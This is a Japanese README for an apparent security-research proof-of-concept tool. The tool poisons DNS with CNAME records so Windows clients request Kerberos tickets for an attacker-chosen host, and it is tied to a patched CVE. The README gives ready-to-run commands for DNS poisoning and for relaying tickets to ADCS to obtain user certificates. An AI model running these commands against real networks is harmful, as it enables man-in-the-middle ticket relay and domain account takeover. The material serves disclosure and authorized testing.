
Kerberos CNAME 悪用 PoC
このツールは、MITM6ツールをベースにしたKerberos CNAME悪用リレー手法の概念実証です。
この研究により、Windows Kerberosクライアントの動作に欠陥があることが明らかになりました。DNS CNAMEレコードが返されると、クライアントはエイリアスを辿り、CNAMEホスト名をSPNとして使用してTGSリクエストを構築します。これにより、DNS MITMの位置にある攻撃者が、任意のドメインユーザーを強制的に攻撃者選択のサービスに対するKerberosチケットを要求させることができ、SMB、HTTP、その他署名やチャネルバインディングが強制されていないサービスに対して、オンデマンドでプロトコル間リレー攻撃を可能にします。
以前のKerberosリレー手法はマシンアカウントに限定されていたり、特定の条件が必要でしたが、この手法はデフォルトのWindows構成においてユーザーアカウントに対して確実に動作します。 Microsoftは、httpsにCBTを適用し、影響を受けるプロトコルにデフォルトで署名を有効にするパッチを適用してリスクを軽減しました。この修正はCVE-2026-20929として追跡されています。 完全な技術詳細、悪用の手順、影響分析については、Cymulateのブログ記事を参照してください。
--cname-source を使用して、被害者がアクセスしようとする特定のドメインをターゲットにするか、--cname-source-all を使用してすべてのDNSクエリをポイズニングします。どちらも --cname でCNAME応答で使用するターゲットホスト名を指定する必要があります(被害者はこのホスト名に対するTGSを要求します)。
--only-dns フラグは、元のmitm6のDHCPv6サーバーおよびルーターアドバタイズメント機能を無効にします。これにより、CNAMEポイズニングをARPポイズニングなどの他のMITM手法と組み合わせることができます。
--passthrough オプションは、実際のIPアドレスに解決されるべきドメインを含むファイルを受け入れます(形式:domain:ip 1行につき1つ)。ドメインコントローラーなどの重要なインフラストラクチャへの接続を維持するのに便利です(実験的)。
pip install -r requirements.txt
すべてのDNSクエリをリレーターゲットを指すCNAMEでポイズニングします:
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname target.corp.local
特定のホスト名のクエリのみをポイズニングします:
python mitm6-cname.py -i eth0 -d corp.local --cname-source fileserver.corp.local --cname adcs.corp.local
ARPポイズニングによるDNS MITMを使用する場合、DHCPv6/RAをスキップします:
python mitm6-cname.py -i eth0 --only-dns -d corp.local --cname-source-all --cname target.corp.local
# ターミナル1: CNAMEポイズニング
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname adcs.corp.local
# ターミナル2: ADCSへのリレー
krbrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template User
このツールは非製品版のPoCであり、教育および許可されたセキュリティテスト目的のみで提供されています。コンピュータシステムへの無許可アクセスは違法です。自己責任で使用し、明示的なテスト許可があるシステムに対してのみ使用してください。
MIT